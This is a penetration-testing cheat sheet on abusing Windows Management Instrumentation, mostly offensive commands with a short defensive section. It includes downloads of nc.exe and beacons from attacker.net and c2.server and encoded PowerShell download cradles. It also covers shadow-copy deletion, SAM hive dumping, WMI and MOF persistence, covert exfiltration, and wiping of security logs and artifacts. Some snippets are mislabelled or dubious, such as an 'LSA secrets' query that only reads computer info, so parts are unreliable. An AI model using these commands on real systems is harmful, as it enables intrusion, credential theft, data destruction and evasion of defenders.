Windows Management Instrumentation (WMI) Pentest Cheat Sheet

Windows Management Instrumentation (WMI) Pentest Cheat Sheet

Core Attack Patterns

Remote Code Execution (RCE)

```
# Classic lateral movement (DCOM/WinRM)
wmic /node:192.168.1.10 /user:DOMAIN\Admin process call create "cmd /c certutil -urlcache
-split -f http://attacker.net/nc.exe C:\\Windows\\Tasks\\nc.exe"

# Classic remote process creation (via WMIC)
wmic /node:192.168.1.10 /user:DOMAIN\Admin process call create "cmd /c certutil -urlcache
-split -f http://attacker.net/beacon.exe"

# Modern CIM approach (WinRM/WSMAN)
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = "powershell -ep bypass -e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8Adw
BuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbgBlAHQALwBp
AG4AdgBhAGwAaQBkAC4AcABzADEAJwApAA=="
}

# Impacket's stealthier WMIexec (semi-interactive shell)
python3 wmiexec.py DOMAIN/user:Password123@target -nooutput -silentcommand "rundll32
javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();"
```

Shadow Infrastructure Manipulation

```
# Delete all volume shadows (ransomware/pre-attack)
Get-WmiObject Win32_ShadowCopy | ForEach-Object {$_.Delete()}

# Create malicious shadow storage
$Shadow = (Get-WmiObject -List Win32_ShadowCopy).Create("C:\", "ClientAccessible")
robocopy /b C:\Windows\System32\config\ $Shadow.DeviceObject ConfigBackup
```

Credential Harvesting Techniques

```
# Extract LSA secrets via WMI (requires SYSTEM)
$Creds = Get-WmiObject -Namespace "root\cimv2" -Query "SELECT * FROM
Win32_ComputerSystem" |
         ForEach-Object { $_.Domain, $_.UserName, $_.PrimaryOwnerName }
```

```
$Creds | Out-File C:\Windows\Temp\creds.txt

# Dump SAM remotely using legacy RPC
wmic /node:10.0.2.7 /user:daethyra process call create "reg save HKLM\SAM
C:\Windows\Temp\sam.save"
```

Evasion & Obfuscation Methods

Signature Bypass Techniques

XSL-Based Execution

```
# XSL-based execution (bypasses application whitelisting)
wmic os get /FORMAT:"http://cdn.example[.]org/malicious.xsl?param=1"
/RESSETTINGS:"Reserved|JScript=true"

# Malicious.xsl contents:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns:msxsl="urn:schemas-microsoft-com:xslt"
                xmlns:user="http://example.org/">
  <msxsl:script language="JScript" implements-prefix="user">
    <![CDATA[
      new ActiveXObject("WScript.Shell").Run("cmd /c start calc.exe");
    ]]>
  </msxsl:script>
</xsl:stylesheet>

# Environment variable obfuscation
wmic /node:%COMPUTERNAME% process call create
"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -e
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8Adw
BuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbgBlAHQALwBp
AG4AdgBhAGwAaQBkAC4AcABzADEAJwApAA=="
```

Memory-Resident Payload Delivery

```
# Execute Cobalt Strike beacon without disk write
$HexPayload = "4D5A[...]0000" # PE header + shellcode
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList @(
    "rundll32.exe
javascript:\"\\..\\mshtml,RunHTMLApplication\";`$h=new%20ActiveXObject('WinHttp.WinHttpRe
quest.5.1');`$h.Open('GET','http://c2.server/beacon.bin',0);`$h.Send();iex(`$h.ResponseTe
xt)"
)
```

Anti-Forensic Measures

```
# WMI artifact cleanup
Get-WmiObject -Namespace root\Subscription -Class __EventFilter | Remove-WmiObject
```

```
Get-WmiObject -Namespace root\Subscription -Class __EventConsumer | Remove-WmiObject
Remove-Item -Path C:\Windows\System32\wbem\Repository\ -Recurse -Force
```

Persistence Mechanisms

WMI Event Subscriptions

```
# Filter for user logon events
$EventFilterArgs = @{
    EventNamespace = 'root\CimV2'
    Name = "UserLogonTracker"
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA
'Win32_LogonSession'"
    QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $EventFilterArgs

# Consumer to execute payload
$ConsumerArgs = @{
    Name = "LogonAction"
    CommandLineTemplate = "powershell -WindowStyle Hidden -ep bypass -enc
SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8Adw
BuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AbgBlAHQALwBp
AG4AdgBhAGwAaQBkAC4AcABzADEAJwApAA=="
}
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs

# Bind filter to consumer
$BindingArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $BindingArgs
```

MOF File Backdoors

```
// malicious.mof
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $Filter
{
    Name = "SysmonBypassFilter";
    EventNamespace = "root\\cimv2";
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA
'Win32_Process'";
    QueryLanguage = "WQL";
};

instance of CommandLineEventConsumer as $Consumer
{
```

```
    Name = "DefenseEvasionConsumer";
    RunInteractively = false;
    CommandLineTemplate = "cmd /c start /min C:\\Windows\\Temp\\stage2.exe";
};

instance of __FilterToConsumerBinding
{
    Filter = $Filter;
    Consumer = $Consumer;
};
```

Compile with: `mofcomp.exe malicious.mof`

Reconnaissance & Enumeration

1. Network Enumeration with CrackMapExec

```
# Enumerate domain computers via WMI
crackmapexec smb 192.168.1.0/24 -u Admin -p P@ssw0rd --wmi "SELECT * FROM
Win32_ComputerSystem"
```

2. OS Fingerprinting

```
# Identify Windows 11 systems
Get-WmiObject -Query "SELECT * FROM Win32_OperatingSystem WHERE Version LIKE '10.0.2%'
AND ProductType=1"
```

3. Service Discovery

```
wmic service where "name like '%sql%'" get name,pathname,startmode
```

Credential Access & Manipulation

SAM/LSA Dumping via WMI

```
# Dump SAM remotely using WMIC
wmic /node:DC01 /user:DAETHYRA process call create "reg save HKLM\SAM
C:\Windows\Temp\sam.save"
```

Golden Ticket Injection

```
# Using Impacket's ticketer.py
python3 ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee -domain-sid S-1-5-21-... -
domain DOMAIN.LOCAL Administrator
```

Threat Hunting | Defense Countermeasures

Detection Signatures

Unusual WMI Process Trees:

```
ParentProcess: ('mshta.exe', 'winword.exe', 'explorer.exe')
ChildProcess: ('wmiprvse.exe', 'scrcons.exe')
CommandLine:
  - '* -enc*'
  - '*format:http*'
```

Suspicious WMI Namespace Modifications:

```
# Hunt for non-default event consumers
Get-WmiObject -Namespace root\Subscription -Class __EventConsumer |
Where-Object {$_.__CLASS -notin ('ActiveScriptEventConsumer','LogFileEventConsumer')}
```

Mitigation Controls

1. WMI Namespace Hardening:

```
$SDDL = 'O:SYG:SYD:(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;SY)'
Set-WmiInstance -Namespace root -Class __SystemSecurity -Arguments @{SecurityDescriptor =
$SDDL}
```

2. Protected Process Configuration:

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\wmiprvse.exe" /v AuditLevel /t REG_DWORD /d 00000008 /f
```

3. Network Segmentation Rules:

```
# Block WMI over DCOM (TCP 135)
iptables -A INPUT -p tcp --dport 135 -j DROP

# Restrict WinRM (WSMAN) to management VLAN
iptables -A INPUT -p tcp --dport 5985 -s 10.10.5.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 5985 -j DROP
```

Operational Tradecraft

Covert Channel Construction

```
# Exfil data via WMI class properties
$ExfilClass = New-Object Management.ManagementClass("root\cimv2", [String]::Empty, $null)
$ExfilClass["__CLASS"] = "Win32_NetworkAdapterConfiguration"
$ExfilClass.Properties.Add("Data", [Management.CimType]::String, $false)
```

```
$ExfilClass.Put()

# Receiver endpoint
Get-WmiObject -Query "SELECT Data FROM Win32_NetworkAdapterConfiguration" |
ForEach-Object {
[System.Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($_.Data)) }
```

Anti-Forensic Measures

```
# WMI artifact wiping
Get-WmiObject -Namespace root\Subscription -Class __EventFilter | Remove-WmiObject
Get-WmiObject -Namespace root\Subscription -Class __EventConsumer | Remove-WmiObject
Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding | Remove-
WmiObject

# Log manipulation (requires SYSTEM)
Remove-WmiObject -Class Win32_NTLogEvent -Filter "Logfile='Security' AND EventCode=4688"
```

Tools Overview

Offensive Tool Matrix

Tool	Capabilities	Detection Surface
WMImplant	Full C2 over WMI	AMSI/WMI-Activity logs
Impacket WMIexec	Pass-the-hash lateral movement	4624 logon events
Cobalt Strike	Beacon over WMI subscriptions	Sysmon Event ID 19-21
CrackMapExec	WMI query execution, lateral movement	`cme smb 10.0.0.1 -u user -p pass -x 'wmic process call create "cmd"'`
Impacket	WMI-based shells, credential dumping	`python3 wmiexec.py DOMAIN/user:Pass@target "whoami"`
Metasploit	WMI persistence modules	`use exploit/windows/local/wmi_persistence`
PowerSploit	WMI backdoor creation	`Install-Persistence -PermanentWMI -Payload "..."`

Defensive Tool Integration

```
# Real-time WMI monitor (PowerShell)
Register-CimIndication -ClassName __InstanceCreationEvent -Namespace root/CIMV2 -Query
"SELECT * WHERE TargetInstance ISA 'Win32_Process'" -Action {
    param($Event)
    if ($Event.TargetInstance.CommandLine -match 'format:http| -enc ') {
        Invoke-WebRequest -Uri "https://soc.example.org/alert" -Body @{
            Host = $Event.TargetInstance.CSName
```

```
            Process = $Event.TargetInstance.ExecutablePath
        }
    }
}
```

Emerging Techniques (2023-2025)

1. **Cloud-Hybrid WMI Abuse**
   - Targeting Azure Arc-enabled servers via WMI
   - Cross-cloud persistence using WMI event subscriptions
2. **AI-Driven Obfuscation**
   - GPT-generated WQL queries blending with legitimate traffic
   - Neural network-based WMI class name randomization
3. **Quantum-Resistant Payloads**
   - Post-quantum cryptography in WMI-based C2 channels
   - Lattice-based encryption for WMI event payloads

#wmi #lateral-movement #credential-access #persistence